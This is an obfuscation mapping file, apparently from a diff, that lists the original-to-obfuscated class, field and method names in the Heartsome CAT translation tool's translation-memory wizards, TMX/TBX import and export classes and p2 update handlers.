+net.heartsome.cat.database.ui.tm.wizard.ImportTmxPage -> net.heartsome.cat.database.ui.tm.wizard.a: + org.slf4j.Logger logger -> logger + org.eclipse.swt.widgets.Text tmxFileText -> rQ + net.heartsome.cat.common.bean.DatabaseModelBean dbModel -> qN + void createControl(org.eclipse.swt.widgets.Composite) -> createControl + void executeImport(java.lang.String,org.eclipse.core.runtime.IProgressMonitor) -> f + java.lang.String getTMXFile() -> ei + int getTmxImportStrategy() -> ej + boolean isNeedCheckContext() -> ek + org.eclipse.swt.widgets.Text access$0(net.heartsome.cat.database.ui.tm.wizard.ImportTmxPage) -> a +net.heartsome.cat.database.ui.tm.wizard.ImportTmxPage$1 -> net.heartsome.cat.database.ui.tm.wizard.b: + net.heartsome.cat.database.ui.tm.wizard.ImportTmxPage this$0 -> sp + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.cat.database.ui.tm.wizard.ImportTmxPage$2 -> net.heartsome.cat.database.ui.tm.wizard.c: + net.heartsome.cat.database.ui.tm.wizard.ImportTmxPage this$0 -> sp + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.database.ui.tm.wizard.ImportTmxPage$3 -> net.heartsome.cat.database.ui.tm.wizard.d: + net.heartsome.cat.database.ui.tm.wizard.ImportTmxPage this$0 -> sp + java.lang.String val$_message -> ra + void run() -> run +net.heartsome.cat.database.ui.tm.wizard.ImportTmxPage$4 -> net.heartsome.cat.database.ui.tm.wizard.e: + net.heartsome.cat.database.ui.tm.wizard.ImportTmxPage this$0 -> sp + java.lang.String val$_message -> ra + void run() -> run +net.heartsome.cat.database.ui.tm.wizard.ImportTmxWizard -> net.heartsome.cat.database.ui.tm.wizard.g: + net.heartsome.cat.database.ui.tm.wizard.ImportTmxPage tmxPage -> sq + net.heartsome.cat.common.bean.DatabaseModelBean dbModel -> qN + void addPages() -> addPages + boolean performFinish() -> performFinish + net.heartsome.cat.database.ui.tm.wizard.ImportTmxPage access$0(net.heartsome.cat.database.ui.tm.wizard.ImportTmxWizard) -> a +net.heartsome.cat.database.ui.tm.wizard.ImportTmxWizard$1 -> net.heartsome.cat.database.ui.tm.wizard.h: + net.heartsome.cat.database.ui.tm.wizard.ImportTmxWizard this$0 -> sr + java.lang.String val$tmxFile -> ss + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.database.ui.tm.wizard.ImportTmxWizardDialog -> net.heartsome.cat.database.ui.tm.wizard.f: + org.eclipse.swt.widgets.Button btnSetting -> LN + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + org.eclipse.swt.widgets.Control createHelpControl(org.eclipse.swt.widgets.Composite) -> createHelpControl + void updateButtons() -> updateButtons + boolean isHelpAvailable() -> isHelpAvailable +net.heartsome.cat.database.ui.tm.wizard.ImportTmxWizardDialog$1 -> net.heartsome.cat.database.ui.tm.wizard.w: + net.heartsome.cat.database.ui.tm.wizard.ImportTmxWizardDialog this$0 -> ZH + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.database.ui.tm.wizard.ImportTmxWizardDialog$2 -> net.heartsome.cat.database.ui.tm.wizard.as: + net.heartsome.cat.database.ui.tm.wizard.ImportTmxWizardDialog this$0 -> ZH + org.eclipse.swt.graphics.Cursor val$cursor -> oX + void widgetDisposed(org.eclipse.swt.events.DisposeEvent) -> widgetDisposed +net.heartsome.cat.database.ui.tm.wizard.ImportTmxWizardDialog$3 -> net.heartsome.cat.database.ui.tm.wizard.at: + net.heartsome.cat.database.ui.tm.wizard.ImportTmxWizardDialog this$0 -> ZH + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.database.ui.tm.wizard.NewTmDbBaseInfoPage -> net.heartsome.cat.database.ui.tm.wizard.i: + org.slf4j.Logger logger -> logger + org.eclipse.jface.viewers.ComboViewer dbTypeComboViewer -> qL + org.eclipse.swt.widgets.Text dbNameText -> qM + org.eclipse.swt.widgets.Text instanceText -> pO + org.eclipse.swt.widgets.Text locationText -> pY + org.eclipse.swt.widgets.Button borwserBtn -> pZ + org.eclipse.swt.widgets.Text hostText -> pL + org.eclipse.swt.widgets.Text portText -> pP + org.eclipse.swt.widgets.Text usernameText -> pM + org.eclipse.swt.widgets.Text passwordText -> pN + net.heartsome.cat.common.bean.DatabaseModelBean dbModel -> qN + org.eclipse.jface.preference.IPreferenceStore pStore -> qO + java.util.List dbTypeList -> qP + net.heartsome.cat.database.SystemDBOperator dbOp -> qQ + net.heartsome.cat.common.bean.MetaData dbMetaData -> qR + net.heartsome.cat.common.bean.DatabaseModelBean getDbModel() -> dW + void createControl(org.eclipse.swt.widgets.Composite) -> createControl + void dbTypeChangeEvent(net.heartsome.cat.database.SystemDBOperator) -> c + void initDataBindings() -> dM + org.eclipse.core.runtime.IStatus validator() -> dN + net.heartsome.cat.database.SystemDBOperator getCurrDbOp() -> dX + java.lang.String checkDb4Server(org.eclipse.core.runtime.IProgressMonitor) -> o + java.lang.String canCreateDb(org.eclipse.core.runtime.IProgressMonitor) -> p + java.lang.String executeCreateDB(net.heartsome.cat.database.SystemDBOperator,org.eclipse.core.runtime.IProgressMonitor) -> a + void saveToServerConfigFile(net.heartsome.cat.database.SystemDBOperator) -> d + boolean canFlipToNextPage() -> canFlipToNextPage + org.eclipse.jface.wizard.IWizardPage getNextPage() -> getNextPage + void access$0(net.heartsome.cat.database.ui.tm.wizard.NewTmDbBaseInfoPage,net.heartsome.cat.database.SystemDBOperator) -> a + org.eclipse.swt.widgets.Text access$1(net.heartsome.cat.database.ui.tm.wizard.NewTmDbBaseInfoPage) -> a + org.eclipse.core.runtime.IStatus access$2(net.heartsome.cat.database.ui.tm.wizard.NewTmDbBaseInfoPage) -> b +net.heartsome.cat.database.ui.tm.wizard.NewTmDbBaseInfoPage$1 -> net.heartsome.cat.database.ui.tm.wizard.j: + net.heartsome.cat.database.ui.tm.wizard.NewTmDbBaseInfoPage this$0 -> st + java.lang.String getText(java.lang.Object) -> getText +net.heartsome.cat.database.ui.tm.wizard.NewTmDbBaseInfoPage$2 -> net.heartsome.cat.database.ui.tm.wizard.k: + net.heartsome.cat.database.ui.tm.wizard.NewTmDbBaseInfoPage this$0 -> st + void selectionChanged(org.eclipse.jface.viewers.SelectionChangedEvent) -> selectionChanged +net.heartsome.cat.database.ui.tm.wizard.NewTmDbBaseInfoPage$3 -> net.heartsome.cat.database.ui.tm.wizard.l: + net.heartsome.cat.database.ui.tm.wizard.NewTmDbBaseInfoPage this$0 -> st + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.database.ui.tm.wizard.NewTmDbBaseInfoPage$4 -> net.heartsome.cat.database.ui.tm.wizard.m: + net.heartsome.cat.database.ui.tm.wizard.NewTmDbBaseInfoPage this$0 -> st + org.eclipse.core.databinding.observable.value.IObservableValue val$dbNameModelValue -> qT + org.eclipse.core.databinding.observable.value.IObservableValue val$instanceModelValue -> qU + org.eclipse.core.databinding.observable.value.IObservableValue val$hostModelValue -> qV + org.eclipse.core.databinding.observable.value.IObservableValue val$protModelValue -> qW + org.eclipse.core.databinding.observable.value.IObservableValue val$locationModelValue -> qX + org.eclipse.core.databinding.observable.value.IObservableValue val$usernameModelValue -> qY + org.eclipse.core.databinding.observable.value.IObservableValue val$passwordModelValue -> qZ + org.eclipse.core.runtime.IStatus validate() -> validate +net.heartsome.cat.database.ui.tm.wizard.NewTmDbBaseInfoPage$5 -> net.heartsome.cat.database.ui.tm.wizard.n: + net.heartsome.cat.database.ui.tm.wizard.NewTmDbBaseInfoPage this$0 -> st + java.lang.String val$_message -> ra + void run() -> run +net.heartsome.cat.database.ui.tm.wizard.NewTmDbBaseInfoPage$6 -> net.heartsome.cat.database.ui.tm.wizard.o: + net.heartsome.cat.database.ui.tm.wizard.NewTmDbBaseInfoPage this$0 -> st + java.lang.String val$_message -> ra + void run() -> run +net.heartsome.cat.database.ui.tm.wizard.NewTmDbBaseInfoPage$7 -> net.heartsome.cat.database.ui.tm.wizard.p: + net.heartsome.cat.database.ui.tm.wizard.NewTmDbBaseInfoPage this$0 -> st + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.database.ui.tm.wizard.NewTmDbImportPage -> net.heartsome.cat.database.ui.tm.wizard.q: + org.slf4j.Logger logger -> logger + org.eclipse.swt.widgets.Text tmxFileText -> rQ + net.heartsome.cat.database.ui.tm.wizard.NewTmDbBaseInfoPage createDbPage -> su + void createControl(org.eclipse.swt.widgets.Composite) -> createControl + void performFinish(java.lang.String,net.heartsome.cat.database.SystemDBOperator,org.eclipse.core.runtime.IProgressMonitor) -> a + void executeImport(java.lang.String,net.heartsome.cat.common.bean.MetaData,org.eclipse.core.runtime.IProgressMonitor) -> a + java.lang.String getTMXFile() -> ei + int getTmxImportStrategy() -> ej + boolean isNeedCheckContext() -> ek + org.eclipse.swt.widgets.Text access$0(net.heartsome.cat.database.ui.tm.wizard.NewTmDbImportPage) -> a +net.heartsome.cat.database.ui.tm.wizard.NewTmDbImportPage$1 -> net.heartsome.cat.database.ui.tm.wizard.r: + net.heartsome.cat.database.ui.tm.wizard.NewTmDbImportPage this$0 -> sv + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.database.ui.tm.wizard.NewTmDbImportPage$2 -> net.heartsome.cat.database.ui.tm.wizard.s: + net.heartsome.cat.database.ui.tm.wizard.NewTmDbImportPage this$0 -> sv + java.lang.String val$_message -> ra + void run() -> run +net.heartsome.cat.database.ui.tm.wizard.NewTmDbImportPage$3 -> net.heartsome.cat.database.ui.tm.wizard.t: + net.heartsome.cat.database.ui.tm.wizard.NewTmDbImportPage this$0 -> sv + java.lang.String val$_message -> ra + void run() -> run +net.heartsome.cat.database.ui.tm.wizard.NewTmDbImportPage$4 -> net.heartsome.cat.database.ui.tm.wizard.u: + net.heartsome.cat.database.ui.tm.wizard.NewTmDbImportPage this$0 -> sv + java.lang.String val$_message -> ra + void run() -> run +net.heartsome.cat.database.ui.tm.wizard.NewTmDbImportPage$5 -> net.heartsome.cat.database.ui.tm.wizard.v: + net.heartsome.cat.database.ui.tm.wizard.NewTmDbImportPage this$0 -> sv + java.lang.String val$_message -> ra + void run() -> run +net.heartsome.cat.database.ui.tm.wizard.NewTmDbWizard -> net.heartsome.cat.database.ui.tm.wizard.x: + net.heartsome.cat.database.ui.tm.wizard.NewTmDbBaseInfoPage createDbPage -> su + net.heartsome.cat.database.ui.tm.wizard.NewTmDbImportPage importPage -> sw + void addPages() -> addPages + void init(org.eclipse.ui.IWorkbench,org.eclipse.jface.viewers.IStructuredSelection) -> init + boolean performFinish() -> performFinish + net.heartsome.cat.common.bean.DatabaseModelBean getCreateDb() -> ea + net.heartsome.cat.database.ui.tm.wizard.NewTmDbImportPage access$0(net.heartsome.cat.database.ui.tm.wizard.NewTmDbWizard) -> a +net.heartsome.cat.database.ui.tm.wizard.NewTmDbWizard$1 -> net.heartsome.cat.database.ui.tm.wizard.y: + net.heartsome.cat.database.ui.tm.wizard.NewTmDbWizard this$0 -> sx + java.lang.String val$tmxFile -> ss + net.heartsome.cat.database.SystemDBOperator val$dbOp -> rg + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.database.ui.tm.wizard.TmDbManagerImportWizard -> net.heartsome.cat.database.ui.tm.wizard.z: + net.heartsome.cat.database.ui.tm.wizard.TmDbManagerImportWizardTmxPage tmxPage -> sy + void addPages() -> addPages + boolean performFinish() -> performFinish + net.heartsome.cat.database.ui.tm.wizard.TmDbManagerImportWizardTmxPage access$0(net.heartsome.cat.database.ui.tm.wizard.TmDbManagerImportWizard) -> a +net.heartsome.cat.database.ui.tm.wizard.TmDbManagerImportWizard$1 -> net.heartsome.cat.database.ui.tm.wizard.aa: + net.heartsome.cat.database.ui.tm.wizard.TmDbManagerImportWizard this$0 -> sz + java.lang.String val$tmxFile -> ss + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.database.ui.tm.wizard.TmDbManagerImportWizardTmxPage -> net.heartsome.cat.database.ui.tm.wizard.ab: + org.slf4j.Logger logger -> logger + org.eclipse.swt.widgets.Text tmxFileText -> rQ + net.heartsome.cat.common.bean.DatabaseModelBean dbModel -> qN + org.eclipse.swt.widgets.Text text -> text + void createControl(org.eclipse.swt.widgets.Composite) -> createControl + void initValue() -> initValue + void executeImport(java.lang.String,org.eclipse.core.runtime.IProgressMonitor) -> f + java.lang.String getTMXFile() -> ei + void validator() -> eb + int getTmxImportStrategy() -> ej + boolean isNeedCheckContext() -> ek + net.heartsome.cat.common.bean.DatabaseModelBean getDbModel() -> dW + void setDbModel(net.heartsome.cat.common.bean.DatabaseModelBean) -> b + void access$0(net.heartsome.cat.database.ui.tm.wizard.TmDbManagerImportWizardTmxPage) -> a + org.eclipse.swt.widgets.Text access$1(net.heartsome.cat.database.ui.tm.wizard.TmDbManagerImportWizardTmxPage) -> b + void access$2(net.heartsome.cat.database.ui.tm.wizard.TmDbManagerImportWizardTmxPage,net.heartsome.cat.common.bean.DatabaseModelBean) -> a + org.eclipse.swt.widgets.Text access$3(net.heartsome.cat.database.ui.tm.wizard.TmDbManagerImportWizardTmxPage) -> c + net.heartsome.cat.common.bean.DatabaseModelBean access$4(net.heartsome.cat.database.ui.tm.wizard.TmDbManagerImportWizardTmxPage) -> d +net.heartsome.cat.database.ui.tm.wizard.TmDbManagerImportWizardTmxPage$1 -> net.heartsome.cat.database.ui.tm.wizard.ac: + net.heartsome.cat.database.ui.tm.wizard.TmDbManagerImportWizardTmxPage this$0 -> sA + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.cat.database.ui.tm.wizard.TmDbManagerImportWizardTmxPage$2 -> net.heartsome.cat.database.ui.tm.wizard.ad: + net.heartsome.cat.database.ui.tm.wizard.TmDbManagerImportWizardTmxPage this$0 -> sA + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.database.ui.tm.wizard.TmDbManagerImportWizardTmxPage$3 -> net.heartsome.cat.database.ui.tm.wizard.ae: + net.heartsome.cat.database.ui.tm.wizard.TmDbManagerImportWizardTmxPage this$0 -> sA + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.cat.database.ui.tm.wizard.TmDbManagerImportWizardTmxPage$4 -> net.heartsome.cat.database.ui.tm.wizard.af: + net.heartsome.cat.database.ui.tm.wizard.TmDbManagerImportWizardTmxPage this$0 -> sA + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.database.ui.tm.wizard.TmDbManagerImportWizardTmxPage$5 -> net.heartsome.cat.database.ui.tm.wizard.ag: + net.heartsome.cat.database.ui.tm.wizard.TmDbManagerImportWizardTmxPage this$0 -> sA + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.database.ui.tm.wizard.TmDbManagerImportWizardTmxPage$6 -> net.heartsome.cat.database.ui.tm.wizard.ah: + net.heartsome.cat.database.ui.tm.wizard.TmDbManagerImportWizardTmxPage this$0 -> sA + java.lang.String val$_message -> ra + void run() -> run +net.heartsome.cat.database.ui.tm.wizard.TmDbManagerImportWizardTmxPage$7 -> net.heartsome.cat.database.ui.tm.wizard.ai: + net.heartsome.cat.database.ui.tm.wizard.TmDbManagerImportWizardTmxPage this$0 -> sA + java.lang.String val$_message -> ra + void run() -> run +net.heartsome.cat.database.ui.tm.wizard.UpdateTMWizard -> net.heartsome.cat.database.ui.tm.wizard.aj: + java.util.ArrayList lstXLIFF -> sB + net.heartsome.cat.database.ui.tm.wizard.UpdateTMWizardPage page -> sC + boolean canFinish -> sD + boolean performFinish() -> performFinish + void addPages() -> addPages + java.util.ArrayList access$0(net.heartsome.cat.database.ui.tm.wizard.UpdateTMWizard) -> a + void access$1(net.heartsome.cat.database.ui.tm.wizard.UpdateTMWizard,boolean) -> a +net.heartsome.cat.database.ui.tm.wizard.UpdateTMWizard$1 -> net.heartsome.cat.database.ui.tm.wizard.ak: + net.heartsome.cat.database.ui.tm.wizard.UpdateTMWizard this$0 -> sE + org.eclipse.ui.IWorkbenchPage val$activePage -> sF + boolean val$isApproved -> sG + boolean val$isSignedOff -> sH + boolean val$isTranslated -> sI + boolean val$isDraft -> sJ + boolean val$isLocked -> sK + int val$contextSize -> sL + int val$tmxImportStrategy -> sM + void run(org.eclipse.core.runtime.IProgressMonitor) -> run + net.heartsome.cat.database.ui.tm.wizard.UpdateTMWizard access$0(net.heartsome.cat.database.ui.tm.wizard.UpdateTMWizard$1) -> a +net.heartsome.cat.database.ui.tm.wizard.UpdateTMWizard$1$1 -> net.heartsome.cat.database.ui.tm.wizard.al: + net.heartsome.cat.database.ui.tm.wizard.UpdateTMWizard$1 this$1 -> sN + java.lang.String val$msg -> KW + void run() -> run +net.heartsome.cat.database.ui.tm.wizard.UpdateTMWizardDialog -> net.heartsome.cat.database.ui.tm.wizard.am: + org.eclipse.swt.widgets.Control createHelpControl(org.eclipse.swt.widgets.Composite) -> createHelpControl + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar +net.heartsome.cat.database.ui.tm.wizard.UpdateTMWizardDialog$1 -> net.heartsome.cat.database.ui.tm.wizard.an: + net.heartsome.cat.database.ui.tm.wizard.UpdateTMWizardDialog this$0 -> sO + org.eclipse.swt.graphics.Cursor val$cursor -> oX + void widgetDisposed(org.eclipse.swt.events.DisposeEvent) -> widgetDisposed +net.heartsome.cat.database.ui.tm.wizard.UpdateTMWizardDialog$2 -> net.heartsome.cat.database.ui.tm.wizard.ao: + net.heartsome.cat.database.ui.tm.wizard.UpdateTMWizardDialog this$0 -> sO + java.lang.String val$helpUrl -> pb + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.database.ui.tm.wizard.UpdateTMWizardDialog$3 -> net.heartsome.cat.database.ui.tm.wizard.ap: + net.heartsome.cat.database.ui.tm.wizard.UpdateTMWizardDialog this$0 -> sO + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.database.ui.tm.wizard.UpdateTMWizardPage -> net.heartsome.cat.database.ui.tm.wizard.aq: + java.util.ArrayList lstXLIFF -> sB + org.eclipse.swt.widgets.Button btnDraft -> sP + org.eclipse.swt.widgets.Button btnTranslated -> sQ + org.eclipse.swt.widgets.Button btnApproved -> sR + org.eclipse.swt.widgets.Button btnSignedOff -> sS + org.eclipse.swt.widgets.Button btnLocked -> sT + void createControl(org.eclipse.swt.widgets.Composite) -> createControl + void createContent(org.eclipse.swt.widgets.Composite) -> createContent + java.lang.String[][] getTableInfo() -> el + boolean isDraft() -> em + boolean isTranslated() -> en + boolean isApproved() -> eo + boolean isSignedOff() -> ep + boolean isLocked() -> isLocked +net.heartsome.cat.database.ui.tm.wizard.UpdateTMWizardPage$TableViewerLabelProvider -> net.heartsome.cat.database.ui.tm.wizard.ar: + net.heartsome.cat.database.ui.tm.wizard.UpdateTMWizardPage this$0 -> sU + org.eclipse.swt.graphics.Image getColumnImage(java.lang.Object,int) -> getColumnImage + java.lang.String getColumnText(java.lang.Object,int) -> getColumnText +net.heartsome.cat.document.DocUtils -> net.heartsome.cat.document.DocUtils: + org.slf4j.Logger LOGGER -> LOGGER + net.heartsome.xml.vtdimpl.VTDUtils isTBX(java.lang.String) -> isTBX + net.heartsome.xml.vtdimpl.VTDUtils isTMX(java.lang.String) -> isTMX + java.util.List getTMDateProp() -> getTMDateProp + java.lang.String getTmxTbxPureText(net.heartsome.xml.vtdimpl.VTDUtils) -> getTmxTbxPureText +net.heartsome.cat.document.ExportAbstract -> net.heartsome.cat.document.ExportAbstract: + org.slf4j.Logger logger -> logger + java.util.List dbList -> oU + net.heartsome.cat.database.bean.ExportFilterBean filterBean -> sV + java.lang.String encoding -> encoding + java.lang.String USER_CANCEL -> sW + java.lang.String DBOP_ERROR -> sX + java.lang.String JDBC_ERROR -> sY + java.lang.String FILE_ERROR -> sZ + java.lang.String SUCCESS -> ta + java.lang.String RELEASE_DB_ERROR -> tb + java.lang.String RELEASE_FILE_ERROR -> tc + java.lang.String executeExport(org.eclipse.core.runtime.IProgressMonitor) -> executeExport +net.heartsome.cat.document.ExportTbxImpl -> net.heartsome.cat.document.ExportTbxImpl: + java.io.FileOutputStream output -> dR + java.lang.String executeExport(org.eclipse.core.runtime.IProgressMonitor) -> executeExport + void filterLangSet(java.lang.String,java.lang.String,java.util.List) -> a + void writeString(java.lang.String) -> writeString + void writeHeader(java.lang.String) -> writeHeader + void clearResource() -> clearResource +net.heartsome.cat.document.ExportTmxImpl -> net.heartsome.cat.document.ExportTmxImpl: + boolean isToplevelTmx -> td + boolean isTagLevelTmx -> te + java.io.FileOutputStream output -> dR + java.lang.String executeExport(org.eclipse.core.runtime.IProgressMonitor) -> executeExport + void clearResource() -> clearResource + void writeHeader(java.lang.String) -> writeHeader + void writeString(java.lang.String) -> writeString + java.lang.String creationDate() -> creationDate +net.heartsome.cat.document.ImportAbstract -> net.heartsome.cat.document.ImportAbstract: + net.heartsome.xml.vtdimpl.VTDUtils vu -> k + java.lang.String fileType -> fileType + int importStrategy -> tf + net.heartsome.cat.database.DBOperator dbOperator -> tg + org.slf4j.Logger logger -> logger + org.eclipse.core.runtime.IProgressMonitor monitor -> monitor + int SUCCESS -> SUCCESS + int FAILURE -> FAILURE + int FAILURE_1 -> FAILURE_1 + int FAILURE_2 -> FAILURE_2 + int FAILURE_3 -> FAILURE_3 + int FAILURE_4 -> FAILURE_4 + int CANCEL -> CANCEL + void executeImport(java.lang.String) -> ck + int doImport(java.lang.String,org.eclipse.core.runtime.IProgressMonitor) -> doImport + int doImport(java.lang.String,java.lang.String,org.eclipse.core.runtime.IProgressMonitor) -> doImport + java.lang.String getLang() -> getLang +net.heartsome.cat.document.ImportAbstract$1 -> net.heartsome.cat.document.ImportAbstract$1: + net.heartsome.cat.document.ImportAbstract this$0 -> th + boolean[] val$flag -> ti + void run() -> run +net.heartsome.cat.document.ImportStateCode -> net.heartsome.cat.document.ImportStateCode: + net.heartsome.cat.document.ImportStateCode[] ENUM$VALUES -> KX + net.heartsome.cat.document.ImportStateCode[] values() -> values + net.heartsome.cat.document.ImportStateCode valueOf(java.lang.String) -> valueOf +net.heartsome.cat.document.ImportTbx -> net.heartsome.cat.document.ImportTbx: + void executeImport(java.lang.String) -> ck + void saveTermEntryWithAdd(int,com.ximpleware.AutoPilot,com.ximpleware.AutoPilot) -> a + void saveTermEntry(java.lang.String,int) -> e + void saveTermEntryWithMerge(java.util.Map,com.ximpleware.AutoPilot,com.ximpleware.AutoPilot) -> a + void saveTermEntryWithOverwrite(java.util.Map,com.ximpleware.AutoPilot,com.ximpleware.AutoPilot) -> b + java.lang.String getElementAttribute(java.lang.String) -> cl +net.heartsome.cat.document.ImportTmx -> net.heartsome.cat.document.ImportTmx: + org.slf4j.Logger logger -> logger + int importStrategy -> tf + net.heartsome.cat.database.DBOperator db -> KY + net.heartsome.cat.document.TmxReader reader -> KZ + java.util.List tmxTuCache -> La + int cacheSize -> Lb + org.eclipse.core.runtime.IProgressMonitor monitor -> monitor + void importTmxContent(java.lang.String) -> importTmxContent + void importTmxFile(java.io.File) -> importTmxFile + void doImport() -> if + void flush() -> flush + java.util.List checkDuplicate(net.heartsome.cat.common.bean.TmxTU) -> a + boolean addTu(net.heartsome.cat.common.bean.TmxTU) -> b + void addTuv(int,net.heartsome.cat.common.bean.TmxSegement,java.lang.String,java.lang.String) -> a + java.lang.String generateTuId() -> et + java.util.List filterSrcSameTu(java.util.List,int) -> b +net.heartsome.cat.document.TmxFilterInterface -> net.heartsome.cat.document.TmxFilterInterface: + java.lang.String SDL_2007_FOR_WIN -> SDL_2007_FOR_WIN + java.lang.String SDL_2007_VERSION -> SDL_2007_VERSION + java.lang.String clearString(java.lang.String) -> clearString +net.heartsome.cat.document.TmxFilterSDL2007Impl -> net.heartsome.cat.document.TmxFilterSDL2007Impl: + java.lang.String clearString(java.lang.String) -> clearString +net.heartsome.cat.document.TmxReadException -> net.heartsome.cat.document.TmxReadException: + long serialVersionUID -> serialVersionUID + int exceptionCode -> Lc + int getExcetpitonCode() -> getExcetpitonCode +net.heartsome.cat.document.TmxReader -> net.heartsome.cat.document.TmxReader: + org.slf4j.Logger logger -> logger + net.heartsome.cat.common.bean.TmxHeader header -> MM + int totalTu -> MN + net.heartsome.xml.vtdimpl.VTDUtils vu -> k + com.ximpleware.AutoPilot tuAp -> Nq + net.heartsome.cat.document.TmxFilterInterface tmxFilter -> Nx + net.heartsome.cat.document.TmxReaderEvent read() -> read + void readTuTuvElement(net.heartsome.cat.common.bean.TmxTU) -> c + void readTuPropElement(net.heartsome.cat.common.bean.TmxTU) -> d + void readTuNoteElement(net.heartsome.cat.common.bean.TmxTU) -> e + void readTuElementAttribute(net.heartsome.cat.common.bean.TmxTU) -> f + void validateTmxAndParseHeader(com.ximpleware.VTDGen) -> a + com.ximpleware.VTDGen paseFile(java.io.File) -> h + net.heartsome.cat.common.bean.TmxHeader getTmxHeader() -> getTmxHeader + int getTotalTu() -> getTotalTu + void tryToClearTags(boolean) -> tryToClearTags + java.util.List getLangs() -> getLangs +net.heartsome.cat.document.TmxReaderEvent -> net.heartsome.cat.document.TmxReaderEvent: + int NORMAL_READ -> NORMAL_READ + int END_FILE -> END_FILE + int ERROR_TU -> ERROR_TU + int READ_EXCEPTION -> READ_EXCEPTION + net.heartsome.cat.common.bean.TmxTU tu -> tv + int state -> state + net.heartsome.cat.common.bean.TmxTU getTu() -> getTu + void setTu(net.heartsome.cat.common.bean.TmxTU) -> setTu + int getState() -> getState + void setState(int) -> setState +net.heartsome.cat.document.XCSUtility -> net.heartsome.cat.document.XCSUtility: + org.slf4j.Logger logger -> logger + org.dom4j.Element root -> nh + java.util.List pickList(java.lang.String,java.lang.String,java.lang.String) -> pickList + org.dom4j.Element getElement(java.lang.String,java.lang.String,java.lang.String) -> e +net.heartsome.cat.p2update.Activator -> net.heartsome.cat.p2update.a: + org.slf4j.Logger logger -> logger + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.p2update.Activator plugin -> tA + org.osgi.framework.BundleContext bundleContext -> fl + org.osgi.framework.ServiceRegistration policyRegistration -> tB + net.heartsome.cat.p2update.UpdatePolicy policy -> tC + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.p2update.Activator getDefault() -> eu + void registerP2Policy(org.osgi.framework.BundleContext) -> a + void loadUpdateSite() -> ev + java.lang.String getUrlString() -> ew + java.lang.String getUpdateSiteFile() -> ex +net.heartsome.cat.p2update.UpdatePolicy -> net.heartsome.cat.p2update.b: + boolean continueWorkingWithOperation(org.eclipse.equinox.p2.operations.ProfileChangeOperation,org.eclipse.swt.widgets.Shell) -> continueWorkingWithOperation + void updateForPreferences() -> ey +net.heartsome.cat.p2update.autoupdate.AutomaticUpdate -> net.heartsome.cat.p2update.autoupdate.AutomaticUpdate: + org.eclipse.equinox.p2.operations.UpdateOperation operation -> tD + org.slf4j.Logger logger -> logger + void checkForUpdates() -> checkForUpdates + void doUpdate() -> ez + org.eclipse.equinox.p2.ui.ProvisioningUI getProvisioningUI() -> getProvisioningUI + org.eclipse.swt.widgets.Shell getShell() -> getShell + void access$0(net.heartsome.cat.p2update.autoupdate.AutomaticUpdate) -> a +net.heartsome.cat.p2update.autoupdate.AutomaticUpdate$1 -> net.heartsome.cat.p2update.autoupdate.AutomaticUpdate$1: + net.heartsome.cat.p2update.autoupdate.AutomaticUpdate this$0 -> tE + org.eclipse.core.runtime.IStatus[] val$checkStatus -> tF + org.eclipse.core.runtime.IStatus runModal(org.eclipse.core.runtime.IProgressMonitor) -> runModal +net.heartsome.cat.p2update.autoupdate.AutomaticUpdate$2 -> net.heartsome.cat.p2update.autoupdate.AutomaticUpdate$2: + net.heartsome.cat.p2update.autoupdate.AutomaticUpdate this$0 -> tE + org.eclipse.core.runtime.IStatus[] val$checkStatus -> tF + void done(org.eclipse.core.runtime.jobs.IJobChangeEvent) -> done + net.heartsome.cat.p2update.autoupdate.AutomaticUpdate access$0(net.heartsome.cat.p2update.autoupdate.AutomaticUpdate$2) -> a +net.heartsome.cat.p2update.autoupdate.AutomaticUpdate$2$1 -> net.heartsome.cat.p2update.autoupdate.AutomaticUpdate$2$1: + net.heartsome.cat.p2update.autoupdate.AutomaticUpdate$2 this$1 -> tG + org.eclipse.core.runtime.IStatus[] val$checkStatus -> tF + void run() -> run +net.heartsome.cat.p2update.handler.CheckUpdateHandler -> net.heartsome.cat.p2update.handler.a: + boolean hasNoRepos -> tH + org.eclipse.equinox.p2.operations.UpdateOperation operation -> tD + java.lang.String getProgressTaskName() -> eA + void doExecute(org.eclipse.equinox.p2.ui.LoadMetadataRepositoryJob) -> a + void doPostLoadBackgroundWork(org.eclipse.core.runtime.IProgressMonitor) -> q + boolean preloadRepositories() -> eB +net.heartsome.cat.p2update.handler.PreloadingRepositoryHandler -> net.heartsome.cat.p2update.handler.b: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute + void doExecuteAndLoad() -> eC + java.lang.String getProgressTaskName() -> eA + void doExecute(org.eclipse.equinox.p2.ui.LoadMetadataRepositoryJob) -> a + boolean preloadRepositories() -> eB + void doPostLoadBackgroundWork(org.eclipse.core.runtime.IProgressMonitor) -> q + boolean waitForPreload() -> eD + void setLoadJobProperties(org.eclipse.core.runtime.jobs.Job) -> b + org.eclipse.equinox.p2.ui.ProvisioningUI getProvisioningUI() -> 